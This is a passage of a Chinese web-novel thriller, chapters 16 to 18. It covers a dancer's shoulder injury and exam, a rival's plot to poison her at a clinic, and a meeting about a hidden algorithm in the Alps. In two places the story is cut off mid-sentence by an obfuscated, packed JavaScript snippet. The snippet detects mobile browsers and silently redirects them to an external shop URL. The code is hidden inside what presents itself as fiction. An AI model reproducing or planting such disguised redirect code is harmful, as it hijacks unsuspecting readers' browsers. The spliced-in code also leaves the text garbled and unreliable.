他想起苏晚晚在舞蹈房旋转时的专注,想起她面对陆文渊威胁时的无畏,想起她说“我们已经没有退路了”时的坚定。 也许母亲说得对。有些路,需要两个人一起走。 他拿起手机,订了两张一周后飞苏黎世的机票。 这次不是仓促行动,是有准备的出征。 而在那之前,他们还需要做很多事——理疗肩膀、应付剧院考核、稳住苏家、继续收集渡鸦的情报…… 慢一点,稳一点。 像父亲说的:看清楚路,再给油。 16. 第十六章 第十六章替身的影子 苏晚晚的肩伤在考核前一天晚上彻底发作了。 不是突然的剧痛,而是一种深埋在骨头里的钝痛,像生锈的齿轮在强行转动。她躺在舞蹈房的地板上,左肩贴着冰袋,右手指尖无意识地划着木地板的纹路。 手机屏幕亮着,是江砚辞发来的理疗师地址和预约时间——明天下午三点,考核结束之后。他加了句:“别硬撑,疼就说。” 苏晚晚盯着那句话看了很久,回复:“好。” 她没说谎,她确实疼。但比起疼痛,更让她不安的是那种失控感。舞蹈是她掌控了二十多年的领域,每一个肌肉的收缩、每一次呼吸的节奏、每一寸重心的转移,都该在她绝对的意志之下。可现在,她的身体在背叛她。 门外传来脚步声,陈老师推门进来,手里拿着瓶药酒。 “我就知道你还没走。”她在苏晚晚身边坐下,“来,翻过去,我给你揉揉。” 药酒辛辣的味道弥漫开来。陈老师的手劲很大,按在肩胛骨周围的穴位上,疼得苏晚晚咬住嘴唇。 “你呀,跟你妈一个样。”陈老师边揉边说,“当年她怀着你七个月了,还非要上台跳那段《吉赛尔》的独舞。团长拦都拦不住,说‘孩子在我肚子里听音乐呢,得让他提前感受艺术’。” 苏晚晚很少听人提起母亲怀孕时的事。 “后来呢?” “后来跳完第二天就早产了,你提前两个月来到世上。”陈老师声音里有笑意,“护士把你抱给她看的时候,她说:‘看,这么着急,肯定是想自己跳舞了。’” 药酒的温热渗进皮肤,疼痛稍微缓解了些。 “陈老师,”苏晚晚轻声问,“你觉得……跳舞是为了什么?” “这问题你妈也问过。”陈老师手上动作不停,“我当时说,为了美。她说不对,是为了真。人活着有很多不得已,很多伪装,但跳舞的时候,身体不会说谎。疼就是疼,累就是累,快乐就是快乐。所以舞者最珍贵的,是那份真。” 她停下手,拍拍苏晚晚的背:“起来试试。” 苏晚晚撑着地板坐起,慢慢转动左肩。疼痛还在,但不再那么尖锐了。 “明天考核,跳你最拿手的那段。”陈老师说,“不用完美,只要真。让评委看到,你站在这里,是因为你爱跳舞,不是因为你是苏家女儿,也不是因为你是首席。” 这话像一把钥匙,打开了什么。 苏晚晚站起来,对着镜子深深鞠躬:“谢谢您。” 陈老师摆摆手,走到门口又回头:“对了,楼下有个男人找你,等了挺久了。说是你父亲的朋友,姓陆。” 陆文渊坐在剧院大厅的等候区,手里拿着一本杂志,正在看关于苏晚晚的专访。听到脚步声,他抬起头,笑容温和得无懈可击。 “晚晚,这么晚还在排练,真是辛苦。” “陆先生有事?”苏晚晚保持着距离。 “来看看你。”陆文渊合上杂志,“顺便告诉你,港口那个项目,我暂时撤出了。你父亲应该已经接到通知了。” 苏晚晚愣住:“为什么?” “因为我想让你看到我的诚意。”陆文渊站起身,走到她面前,“之前的方式可能太强硬了,我道歉。但我对你的心意是真的,晚晚。给我一个机会,让我用正确的方式追求你,可以吗?” 他的眼神真诚得近乎无辜。如果不是知道那些暗地里的勾当,苏晚晚几乎要相信了。 “陆先生,感情不是生意,不是一方撤资就能换来另一方合作的。”她转身要走。 “那江砚辞呢?”陆文渊在她身后说,“他的感情就是纯粹的吗?你真的了解他吗?知道他三年前在瑞士做过什么吗?” 苏晚晚脚步顿住。 陆文渊走近两步,声音压低:“你以为他只是个被冤枉的车手?晚晚,有些事……可能连他自己都不知道。他母亲当年在瑞士,不只是为了存证据。她见了不该见的人,拿了不该拿的东西,这才引来了后面的祸事。” “你想说什么?” “我想说,”陆文渊直视她的眼睛,“你卷入的漩涡,比你想象的深。江砚辞身上背负的,不只是他父亲的算法,还有更危险的东西。而那个东西,现在‘渡鸦’想要,我也想要。区别在于——我要的话,至少不会伤你。” 他递过来一个U盘:“这里面,是江美玲当年在瑞士银行的完整账户流水。看看她最后一个月取出的那笔钱去了哪里。然后你再决定,要不要继续站在他那边。” U盘在灯光下泛着冷光。 苏晚晚没有接:“如果你真有诚意,就直接告诉我。” 陆文渊笑了:“你还是这么倔。好吧,我提示你——那笔钱,汇给了一个代号‘影子’的账户。而‘影子’,是国际刑警通缉了十五年的情报贩子,专门贩卖国家机密和技术专利。” 他收起U盘:“江砚辞的母亲,在生命的最后时刻,用那笔钱买了一份足以颠覆某个行业的情报。那份情报现在在哪里?你觉得会在谁手里?” 话说到这里,他转身离开。走到门口时回头:“考核加油。我会来看的。” 剧院大厅恢复安静。苏晚晚站在原地,指尖冰凉。 她知道陆文渊的话不能全信,但那些细节——瑞士银行、账户流水、代号“影子”——太具体了,不像凭空编造。 手机震动,江砚辞发来消息:“肩膀好点了吗?我这边结束了,要不要来接你?” 她盯着屏幕,很久才回复:“不用,我打车回去。你早点休息。” **第二天下午,考核现场。** 国家大剧院的小剧场座无虚席。除了五位评委,还有不少舞团的同事和艺术院校的学生。苏晚晚在后台化妆时,从镜子里看到陆文渊坐在第三排正中,正微笑着对她点头。 她移开视线。 陈老师帮她整理头饰,低声说:“别管台下,看镜子里你自己就行。” 音乐响起。苏晚晚走上舞台,灯光打在她身上,像一层温暖的茧。她选择的不是黑天鹅变奏,而是《吉赛尔》第二幕幽灵之舞——那是母亲当年怀着她也执意要跳的段落。 动作一开始,左肩的疼痛就提醒着自己的存在。但她没有对抗它,而是接纳它,把那种滞涩感融入舞蹈中。每一次抬手不再追求绝对的流畅,而是带着一点点挣扎;每一次旋转不再追求完美的平衡,而是在轻微的摇晃中寻找新的重心。 评委席上有人皱眉,有人若有所思。 跳到一半时,苏晚晚在镜子里看到了母亲——不是幻觉,是记忆里的画面。母亲在怀孕七个月时笨拙却坚定的舞姿,那种“即使身体受限也要表达”的执着,此刻在她身上重演。 最后一个动作定格,她单膝跪地,抬头,呼吸急促,汗水顺着脖颈滑进衣领。 剧场里安静了几秒,然后掌声响起。 陈老师第一个站起来鼓掌。接着是其他评委。苏晚晚站起身鞠躬,左肩的疼痛此刻像一枚勋章。 下台后,她在后台走廊遇到了陆文渊。 “很美。”他真诚地说,“你母亲当年跳这段时,也是这样的眼神——明知会受伤也要跳完的倔强。” “谢谢。”苏晚晚不想多谈,“考核结束了,我要去理疗。” “我送你。”陆文渊跟上,“正好,我约了那位理疗师的朋友,可以给你做个更全面的检查。” 苏晚晚想拒绝,但陆文渊已经拨通了电话:“周医生,我们二十分钟后到。对,是肩伤,旧伤复发。” 挂断电话,他看着苏晚晚:“别误会,我只是想帮你。不管我们之间如何,你的舞蹈不该被伤痛毁了。” 这话说得体贴,但苏晚晚总觉得哪里不对劲。 **同一时间,修车铺。** 江砚辞在等一个电话。昨天深夜,他收到了匿名者A的新消息,约今天下午四点,在城南老工业区的一个废弃仓库见面。消息明确写着:“一个人来。带算法芯片。交换第三部分线索。” 陈曜坚决反对:“这明显是陷阱!万一是陆文渊的人呢?” “但他知道芯片的事。”江砚辞看着手机,“而且他用了母亲留下的暗号——见面地点坐标的后六位,是我生日。” 这是只有他和母亲知道的秘密。当年母亲常把重要东西的藏匿地点编成坐标,用他的生日做偏移量加密。 “那也可能是你母亲告诉过别人。”陈曜还是不放心,“这样,我开车送你去,在远处盯着。有不对劲我就冲进去。” 下午三点四十,江砚辞独自走进废弃仓库。这里以前是纺织厂的车间,现在只剩下生锈的机床和满地碎玻璃。阳光从破败的天窗照进来,在灰尘中形成光柱。 四点整,仓库深处传来脚步声。 一个男人从阴影里走出来。五十岁上下,穿着普通的工装,戴渔夫帽,帽檐压得很低。他走路有点跛,右手拄着拐杖。 “江砚辞?”男人的声音沙哑,像砂纸磨过木头。 “是我。你是阿影?” 男人没有直接回答,而是伸出手:“芯片。” 江砚辞从口袋里掏出那个装着黑色芯片的密封袋,但没有递过去:“我要先看到第三部分的线索。” 男人笑了,笑声干涩。他从怀里掏出一个老式怀表——和江砚辞母亲那枚一模一样,只是表壳有烧灼的痕迹。 “你母亲当年把这个交给我,说如果有一天你找来,就用这个换真相。”他把怀表放在旁边的机床上,“表盖里有坐标,是算法第三部分藏匿地的真实位置。但我要提醒你——那个地方,‘渡鸦’也知道。你拿到芯片的二十四小时内,他们就会动手。” 江砚辞拿起怀表,打开表盖。内壁刻着一行极小的数字,确实是坐标。他看向男人:“你为什么要帮我?” “因为我欠你母亲的。”男人摘下帽子,露出一张布满烧伤疤痕的脸,“二十年前在瑞士,实验室那场大火……是她把我从火场里拖出来的。我脸上的伤,是她救我时留下的。” 他顿了顿,声音更低:“但她也拿走了我一样东西。那份‘影子的代价’文件,原本是我的。里面记录了‘渡鸦’早期成员名单和他们的罪行。你母亲说,她会用那份文件保护你。” “那文件现在在哪里?” “不知道。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004283|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人摇头,“大火之后我就隐姓埋名,再也没见过她。但最近‘渡鸦’又开始活动,他们好像在找什么东西……我猜,可能和那份文件有关。” 江砚辞盯着他脸上的伤疤。那些疤痕很旧了,边缘已经平滑,不像是新伪造的。但他总觉得哪里不对——这个男人的眼神太冷静了,不像一个躲藏了二十年的人该有的眼神。 “你叫什么名字?”他问。 “名字不重要。”男人重新戴上帽子,“你只需要知道,我是‘影子’。当年你母亲救的那个情报贩子。” 他说完,伸手要拿芯片。 江砚辞后退一步:“等等。你刚才说,我母亲拿走了文件。那她有没有告诉你,她把文件藏在哪里?” 男人的手停在半空。这个瞬间,江砚辞看到了他眼里一闪而过的迟疑。 “她说……”男人缓缓开口,“藏在最危险的地方。因为最危险的地方,就是最安全的地方。” “具体是哪里?” “我不知道。”男人收回手,“她只说了这么多。现在,芯片给我。” 江砚辞还是没动。他在脑海里快速回想母亲留下的所有线索——日记、视频、录音。没有任何一处提到“最危险的地方”。而且母亲从不会用这种故弄玄虚的方式说话,她喜欢直接和明确。 这个男人在撒谎。 但他知道芯片,知道怀表,知道实验室大火,甚至知道“影子”这个代号……说明他确实掌握了不少信息。 也许,他不是阿影,但他是知情人。 “我可以给你芯片。”江砚辞突然说,“但你要先告诉我,陆文渊在缅甸北部的科技园区,到底在做什么?” 这个问题来得突然。男人明显愣住了。 两秒的沉默,足够验证江砚辞的猜测——这个男人和陆文渊不是一伙的,但他知道陆文渊的事。 “那里……”男人终于开口,“是‘渡鸦’在亚洲的数据训练中心。他们用非法获取的行车数据训练自动驾驶算法,但那些算法……缺少安全模块。所以他们在找第三部分,完整的伦理约束框架。” “如果找不到呢?” “他们会用不完整的算法强行上线。”男人声音沉重,“那样的系统,在极端情况下可能会做出错误判断,把行人识别为障碍物,或者把护栏识别为可行道路。后果……你应该能想象。” 江砚辞想起父亲录音里的话:“没有安全模块的算法,是杀人的刀。” 他不再犹豫,把芯片递过去。 男人接过,仔细检查后收进怀里。然后他转身要走。 “等等。”江砚辞叫住他,“你脸上的伤……是真的吗?” 男人停下,背对着他:“真的假的重要吗?重要的是,你拿到了坐标。现在,该去拿回你父亲的东西了。” 他消失在阴影里。 江砚辞没有追。他打开怀表,确认坐标位置——瑞士,阿尔卑斯山区,某个废弃的登山营地。 这时手机震动,陈曜发来消息:“刚才有辆车从仓库后门开走了,牌照是假的。要不要跟?” “跟,但保持距离,别被发现。”江砚辞回复。 他走出仓库,下午的阳光刺眼。手里握着那枚有烧灼痕迹的怀表,金属外壳在掌心发烫。 这个男人不是阿影。但他给出的坐标很可能是真的——因为太具体,太可验证。 所以,这是一场交易。用芯片换坐标。但芯片里只是算法的工程部分,没有核心,对方拿去了用处不大。而坐标……可能既是线索,也是诱饵。 江砚辞坐进车里,给苏晚晚打电话。响了很久她才接,背景音很安静。 “考核结束了?” “嗯,刚结束。在去理疗的路上。”苏晚晚声音有点疲惫,“你呢?见面顺利吗?” “见到了一个自称‘影子’的人。”江砚辞发动车子,“他给了我第三部分的位置,在瑞士阿尔卑斯山。” 电话那头沉默了一下。 “我这边……陆文渊给了我一些信息。”苏晚晚低声说,“关于你母亲在瑞士的最后一笔汇款,收款方代号‘影子’。他说那是个情报贩子。” 两条线对上了。 江砚辞握紧方向盘:“他还说了什么?” “说那份情报现在可能在你手里,或者你知道在哪里。‘渡鸦’想要,陆文渊也想要。”苏晚晚停顿,“江砚辞,你真的……不知道那份情报吗?” “不知道。”江砚辞回答得很肯定,“但我现在怀疑,那个情报可能和算法的第三部分有关。或者……就是第三部分本身。” 如果是这样,那一切就说得通了——为什么“渡鸦”二十年不放弃,为什么陆文渊步步紧逼,为什么母亲要拼死保护。 因为那不仅仅是一个算法。 那是一把钥匙,能打开某个潘多拉魔盒的钥匙。 而他现在,正握着这把钥匙的去向。 “晚晚,”他说,“我们可能需要提前去瑞士了。” “什么时候?” “尽快。”江砚辞看着后视镜里陈曜发来的跟踪信息,“在我手里的坐标变成陷阱之前。” 17. 第十七章 第十七章地脉之下与雪山之巅 唐果的直播间标题向来直白:“**夜探南城老防空洞,听说下面有民国实验室!**” 镜头晃动,头灯的光束切割着黑暗。她穿着沾满泥污的考古工作服,手套已经磨破,但眼睛在镜头前亮得惊人。 “老铁们看这里——”她把摄像头对准一处锈蚀的铁门,门上有模糊的德文标识,“‘**Achtung! Hochspannung!**’——注意高压电。这是二战时期德式建筑的典型警示标识。但问题是,南城从来没有过德军驻扎。” 弹幕滚动: “果爷又在挖什么大宝贝?” “德语?会不会是伪满时期的东西?” “地下有没有粽子啊?” 唐果用撬棍卡进门缝,边用力边解说:“我查了市政档案馆的资料,这片区域在1937年到1945年间,确实有个‘中德技术合作研究所’,名义上是民用,但实际……” 铁门轰然打开,灰尘扑面而来。头灯照亮门后的空间——不是防空洞,而是一个下沉式实验室。老式实验台、玻璃器皿、墙上的化学元素周期表还是德文版。最惊人的是房间中央,一台巨大的机械结构,虽然锈蚀严重,但能看出是某种液压传动装置。 “我靠!”唐果的声音激动起来,“这是早期机械计算机的一部分!你们看这个齿轮组,典型的差分机结构,但改良过,加入了液压辅助动力……” 她把镜头凑近。齿轮上刻着极小的字:“**江振华试制,1985.03**”。 弹幕瞬间爆炸。 唐果也愣住了。她关掉麦克风,拿出手机给苏晚晚发信息:“晚晚!我在南城老防空洞下面发现了你男朋友父亲的名字!江振华,1985年3月,一台机械计算机的试制品!” 发完她才反应过来——江砚辞的父亲,不是1998年车祸去世的公交车司机吗?1985年,他应该才二十多岁,怎么会参与这种级别的机械设计? 她重新打开麦克风,语气尽量平静:“老铁们,今天先到这里,我得做详细测绘。下次直播带大家看更多细节!” 关闭直播,她开始仔细搜查这个尘封三十多年的空间。 …… 苏晚晚走进理疗诊所时,感觉哪里不对。 太安静了。前台没人,等候区的杂志摆放得过分整齐,空气中消毒水的味道浓得呛人。陆文渊说的周医生从里间走出来,四十多岁,戴金丝眼镜,白大褂一尘不染。 “苏小姐,请进。”他微笑,笑容标准得像尺子量出来的。 治疗室宽敞明亮,设备崭新。苏晚晚脱下外套,露出左肩。周医生检查的手法很专业,但指尖冰凉。 “旧伤,肌腱粘连,关节囊有轻微钙化。”他边按边说,“需要做深层松解,可能有点疼。” “没关系。” 周医生开始操作。确实疼,但苏晚晚忍住了。她闭着眼睛,脑海里却反复回放陆文渊在剧院说的话:“江美玲最后一笔钱,汇给了情报贩子‘影子’……” “放松。”周医生的声音把她拉回来,“你最近压力很大,肌肉紧张得像石头。” “嗯。” “听说你在排新舞剧?陆先生很欣赏你的才华。”周医生状似闲聊,“他为了你,特意投资了剧院的设备升级。” 苏晚晚没接话。 治疗进行到一半,周医生的手机响了。他看了一眼,对苏晚晚说:“抱歉,我得接个重要电话。你先休息一下,我很快回来。” 他走出治疗室,门轻轻关上。 苏晚晚睁开眼睛。肩部的疼痛缓解了些,但心里的不安越来越重。她坐起来,环顾四周。治疗室的一面墙是玻璃柜,里面陈列着各种医疗器械和证书。其中一张合影引起了她的注意——周医生穿着赛车医疗队的制服,站在一群人中,背景是F1维修区。照片拍摄日期:2019年8月。 正是江砚辞出事的那段时间。 她下床,走到玻璃柜前细看。照片里,周医生旁边站着的人……是徐朗。两人似乎在交谈,徐朗手里拿着一份文件。 这时,门外传来极低的说话声。苏晚晚屏住呼吸,贴近门缝。 “……她已经在里面了。”是周医生的声音。 另一个声音,陆文渊的:“东西准备好了吗?” “准备好了。静脉注射,三分钟起效,症状类似突发性心律失常。抢救及时不会致命,但足够让她在医院住上一周。” “很好。做完之后,把她的手机处理掉。里面有我要的东西。” “明白。” 脚步声远去。 苏晚晚的血瞬间凉了。她抓起外套和包,快速扫视治疗室——没有别的出口,只有门和窗户。窗户外面是二楼的后巷。 她推开窗户,下面是堆满杂物的巷子。没有时间犹豫,她翻过窗台,抓住排水管,忍着左肩撕裂般的疼痛,一点点往下滑。 离地面还有一米多时,手滑了。她摔在杂物堆里,脚踝传来剧痛。 巷口有车灯扫过。苏晚晚咬牙站起来,一瘸一拐地往反方向跑。身后传来开门声和周医生的惊呼:“她跑了!” 修车铺里,江砚辞把那枚烧灼怀表拆开了。 在陈曜的专业设备下,表壳夹层里发现了更精细的东西——不是一张坐标纸,而是一片微缩胶片。投影放大后,显示的是一张地形图:瑞士阿尔卑斯山,马特洪峰北麓,一个标记为“**观测站B-7**”的位置。 “这地方我知道。”陈曜调出卫星地图,“二战时期的气象观测站,六十年代废弃。但九十年代初期,有记录显示那里进行过‘高海拔材料测试’,测试方是……苏黎世联邦理工学院和一家叫‘Vogel GmbH’的公司。” 又是Vogel。 江砚辞继续检查怀表。表盘背面,时针轴的根部,有一个几乎看不见的凹槽。他用镊子小心探入,夹出一卷比头发还细的金属丝。 金属丝在显微镜下展开,上面刻着更小的字——不是坐标,是一串化学分子式和温度参数。 “这是什么?”陈曜看不懂。 江砚辞盯着那些参数,脸色逐渐变了:“低温保存条件。这是生物样本的存储要求。” “生物样本?你不是要找算法吗?” “除非……”江砚辞想起父亲的研究方向。江振华晚年不只研究车辆控制,还涉足过“生物神经信号与机械控制的接口技术”。那是当时非常前沿的领域,甚至有些争议。 他打开父亲留下的MP3,快进到后半段。在一段关于算法伦理的讨论后,父亲轻声说了一句之前被忽略的话: “……如果这项技术真的成功,它不该只用在机器上。那些因为事故瘫痪的人,那些失去肢体的人……他们应该有机会重新行走。所以我留了一份‘种子’,在最冷的地方。等世界准备好的时候,它会发芽。” 种子。 生物样本。 低温保存。 所有线索指向一个惊人的可能性:父亲留在阿尔卑斯山的,可能不只是算法资料,还有某项未完成的生物技术成果。 而那份成果,足以让“渡鸦”这样的组织疯狂。 这时,江砚辞的手机响了。来电显示是苏晚晚,但接起来后,传来的却是她急促的喘息和奔跑声: “江砚辞……陆文渊要……要对我下手……在理疗诊所……我逃出来了……脚扭了……他们在追我……” 背景音里有关门声和脚步声。 江砚辞猛地站起来:“位置!发定位给我!” “老城区……慈云巷附近……我躲进了一个废品站……” 电话突然中断。 苏晚晚蜷缩在一堆旧轮胎后面,屏住呼吸。 脚踝肿得像个馒头,每动一下就钻心地疼。她手里紧握着一根生锈的铁管,眼睛死死盯着废品站入口。 外面传来汽车引擎声,接着是车门开关的声音。不止一辆车。 “她跑不远。”周医生的声音,“脚崴了,肯定躲在附近。” “分头找。”是陆文渊,声音冷得吓人,“必须找到她。她听到的太多了。” 脚步声分散开来。苏晚晚心脏狂跳,她看了看手机——电量5%,刚才的通话断了。她颤抖着手给江砚辞发定位,然后关机,把手机塞进轮胎缝隙里。 不能让他来。陆文渊带了多少人不知道,这里太危险。 但她一个人,脚受伤,能逃到哪里? 废品站深处传来狗吠。是看门的老狗,平时很温顺,此刻却叫得凶狠。接着是男人的呵斥和狗的惨叫。 他们往这边来了。 苏晚晚握紧铁管,脑子里快速盘算。废品站后面连着一片待拆迁的老房子,巷子错综复杂,如果她能到那里…… 一只手突然从后面捂住她的嘴。 她惊恐地挣扎,但那只手很有力,同时一个低沉的声音在耳边响起:“别出声,跟我走。” 是个男人的声音,陌生。 苏晚晚被半拖半扶地带到废品站最深处,那里有一堵矮墙。男人先翻过去,然后伸手拉她。剧痛让苏晚晚眼前发黑,但她咬紧牙关,翻过墙头。 墙这边是条狭窄的巷子,停着一辆破旧的面包车。男人拉开车门把她塞进去,自己坐上驾驶座,发动引擎。 车子悄无声息地驶入夜色。 苏晚晚蜷在后座,警惕地看着开车的男人。他大概三十多岁,穿灰色夹克,侧脸线条硬朗,眼睛盯着前方,专注得可怕。 “你是谁?”她问。 “阿影。”男人简短回答。 苏晚晚愣住:“你……你不是……” “烧伤的那个是替身。我安排的。”阿影从后视镜看了她一眼,“陆文渊在试探你们,我让他看到他想看的。” 车子拐进主干道,汇入车流。苏晚晚稍微放松了些,但警惕没减:“你要带我去哪儿?” “安全的地方。”阿影顿了顿,“江砚辞在找你,我已经通知他了。” 果然,几分钟后,苏晚晚的手机在口袋里震动——刚才关机是假动作,她留了个备用机。是江砚辞:“你在哪?我刚到废品站,没看到你。” “我在……”她看向阿影。 “告诉他,去老地方。”阿影说,“你知道是哪里。” 苏晚晚犹豫了一下,对电话说:“去修车铺。我没事,有人帮我。” 修车铺二楼,三人第一次正式会面。 阿影站在窗边,背对灯光,脸藏在阴影里。他比想象中年轻,看起来不到四十岁,但眼神里的沧桑感像经历过几辈子。 江砚辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004284|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把苏晚晚扶到椅子上,检查她的脚踝——已经肿得很厉害。 “得去医院。”他说。 “不能去。”阿影开口,“陆文渊的人会监控所有医院和诊所。她脚踝的伤,我来处理。” 他从随身包里拿出急救用品:冰袋、弹性绷带、还有一小瓶药剂。手法熟练得像专业医生。 “你到底是做什么的?”苏晚晚忍不住问。 “曾经是国际刑警的技术顾问,现在是‘渡鸦’的猎手。”阿影一边包扎一边说,“二十年前,我受命调查Vogel公司的技术走私案,认识了你们母亲。江美玲和林薇……是我见过最勇敢的女人。” 他顿了顿,声音低了些:“实验室大火那晚,是美玲姐把我从火场里拖出来的。她本来可以自己逃,但折回来救我。代价是她的呼吸道严重灼伤,那是她后来肺癌的诱因之一。” 江砚辞的手指收紧:“她从来没说过。” “她不会说。”阿影包扎完毕,“她只跟我说,如果她出了什么事,让我保护你。但那时候我自身难保——‘渡鸦’发现我在调查他们,设局让我背了黑锅,我被国际刑警除名,还被他们追杀。” 他坐直身体,终于露出完整的脸——没有烧伤,但左边眉骨有一道细长的旧疤,像是刀伤。 “我躲了十年,换身份,换脸。直到三年前,美玲姐联系我,说她查到了‘渡鸦’在亚洲的新据点,还有他们对你父亲的算法的新计划。她让我在瑞士等她,但她没来得及……” 阿影从怀里掏出一个老式牛皮笔记本,递给江砚辞:“这是她当年在瑞士调查的全部记录。里面提到了那份‘影子的代价’文件——那不是算法,是你父亲和几位科学家联名起草的《人工智能军事化限制公约》草案。‘渡鸦’想阻止它公开,因为一旦公约通过,他们的生意就完了。” 江砚辞翻开笔记本。母亲的字迹工整清晰,记录着时间、地点、人物、资金流向。最后一页写着: “**小辞,如果你看到这个,说明妈妈失败了。但你不要放弃。你父亲留下的‘种子’,不只是技术,更是一种可能——让技术服务于人,而不是奴役人。去阿尔卑斯山,找到观测站B-7。密码是你和晚晚的生日组合。**” “我和晚晚的生日?”江砚辞抬头。 “你母亲和林薇阿姨当年约定过,如果她们有孩子,就做亲家。”阿影难得露出一丝笑意,“虽然是个玩笑,但她记住了。密码是年月日六位数,你的后三位,她的后三位。” 苏晚晚脸颊微热。江砚辞看了她一眼,没说话。 “现在的问题是,”阿影神色严肃起来,“陆文渊已经知道坐标在阿尔卑斯山。他之所以还没动手,是在等一样东西——高海拔地区的详细地质数据。那些数据,只有苏氏航运的港口建设档案里有,因为当年修建港口时做过全面的地质勘探。” 他看向苏晚晚:“你父亲可能已经被他控制了。你得拿到那份数据,不能让它落在‘渡鸦’手里。” “可是我爸他……” “他爱你,但他也是个商人。”阿影声音冷静,“在足够的利益和威胁面前,人会做出妥协。你必须在他妥协之前,拿到主动权。” 窗外传来隐约的警笛声,由远及近。 阿影起身:“我得走了。陆文渊今晚失手,不会罢休。你们尽快准备去瑞士,但在这之前——”他看向苏晚晚,“先拿到地质数据。那是你们谈判的筹码。” 他走到门口,又回头:“还有,唐果那边,让她停手。老防空洞下面的东西,比她想得危险。那里是‘渡鸦’在中国最早的试验场,有放射性残留。” 说完,他拉开门,消失在楼梯口。 警笛声在巷口停住。江砚辞走到窗边,看到两辆警车,赵警官下车,正在和老郑说话。 “他们找来了。”他低声说。 苏晚晚撑着椅子站起来,脚踝的疼痛让她脸色发白,但眼神坚定:“先应付警察。然后……我去找我爸。” 江砚辞扶住她:“我陪你。” “不行。你是他们的主要目标,露面反而麻烦。”苏晚晚摇头,“而且,我有办法。” 她从包里拿出那支陆文渊送的钢笔——一直带在身上,原本想找机会处理掉。此刻,她拧开笔身,里面除了笔芯,还有一个□□。 “他送我的时候,我就怀疑了。”她把窃听器拆出来,“所以我在笔杆里,也藏了点东西。” 那是她让唐果特制的定位和录音装置,反向监听。过去几天陆文渊说的每一句话,都被记录下来了。 包括刚才在理疗诊所门外,他和周医生的对话。 “有这段录音,我爸会信的。”苏晚晚说,“而且……我需要你去做另一件事。” “什么?” “联系唐果,让她别碰防空洞里的东西。然后,你们一起去找我外公。” 江砚辞愣住:“你外公?” “我母亲的父亲,林老爷子。”苏晚晚眼神深远,“他退休前是地质局的总工,港口的地质数据,最早是他带队勘探的。他手里……可能有一份原始副本。” 楼下传来敲门声,赵警官的声音:“江砚辞,开门,有事问你。” 江砚辞和苏晚晚对视一眼。 分工明确,各自为战。 真正的较量,现在才开始。 18. 第十八章 第十八章地质图与烟斗里的密码 苏晚晚推开家门时,客厅里坐着的不止父亲苏柏年,还有一个陌生的中年人——五十岁上下,穿着考究的中山装,手里盘着两个玉核桃,正和苏柏年低声交谈。听到脚步声,两人同时抬头。 “晚晚回来了。”苏柏年起身,神色复杂地看了一眼她的脚踝,“你脚怎么了?” “崴了一下。”苏晚晚目光落在那陌生人身上,“这位是?” “陆文安先生,陆文渊的堂叔,陆远集团的董事。”苏柏年介绍,“文安兄听说你最近遇到些麻烦,特意过来关心。” “关心”这个词咬得很重。 陆文安微笑着起身,玉核桃在掌心发出温润的碰撞声:“苏小姐,久仰。文渊那孩子做事鲁莽,我已经训过他了。今天来,一是代他道歉,二是想跟苏家谈谈合作的新方式。” “新方式?”苏晚晚在对面沙发坐下,左脚虚点地面,疼痛让她保持清醒。 “联姻的事暂且不提。”陆文安靠回椅背,姿态放松但眼神锐利,“我们换个思路——技术共享。苏氏航运手里有南城港口三十年的地质数据,那是无价之宝。我们陆远集团愿意用海外三个优质港口的运营权交换,外加一笔足够苏家未来十年无忧的资金。” 条件优厚得反常。 苏晚晚看向父亲。苏柏年垂着眼,手指无意识地摩挲茶杯边缘——这是他内心挣扎时的习惯动作。 “陆先生,”苏晚晚缓缓开口,“如果那些数据真的这么值钱,您为什么不用更……直接的方式获取?” 陆文安的笑容淡了些:“苏小姐什么意思?” “我的意思是,”苏晚晚从包里拿出那支拆解过的钢笔,放在茶几上,“陆文渊先生已经试过‘直接的方式’了。昨晚在理疗诊所,他试图让我‘突发心脏病’住院,以便控制我、拿到他想要的东西。” 客厅里空气骤然凝固。 苏柏年猛地抬头:“晚晚,你说什么?” 陆文安脸上的笑容彻底消失了。他盯着那支钢笔,眼神变得阴沉:“苏小姐,这种指控很严重。你有证据吗?” “有。”苏晚晚打开手机,播放昨晚在理疗诊所门外录下的对话。陆文渊和周医生的声音清晰地传出来: “……静脉注射,三分钟起效,症状类似突发性心律失常……” “做完之后,把她的手机处理掉。里面有我要的东西。” 录音结束。 苏柏年的脸色从震惊到愤怒,最后变成一片铁青。他看向陆文安,声音发颤:“文安兄,我需要一个解释。” 陆文安沉默了几秒,然后长长叹了口气:“柏年,孩子之间的事,我们做长辈的……” “这不是孩子之间的事!”苏柏年打断他,猛地站起来,“这是谋杀未遂!如果我女儿昨晚没逃出来,现在可能已经躺在ICU了!” 他走到苏晚晚身边,仔细查看她的脚踝:“伤得重不重?去医院看了吗?” “没去,怕他们监控医院。”苏晚晚轻声说,“爸,陆文渊要的不只是地质数据。他要的是用那些数据在阿尔卑斯山找一样东西——一样足以颠覆某个行业的东西。而那样东西,和江砚辞的父亲有关,甚至可能和我母亲有关。” 苏柏年身体僵了一下。 陆文安这时缓缓起身,玉核桃收进袖中:“看来今天不是谈事的好时机。柏年,我改天再来。不过——”他看向苏晚晚,“苏小姐,有些浑水,蹚得太深会淹死人的。你母亲当年就是例子。” 说完,他径直离开。 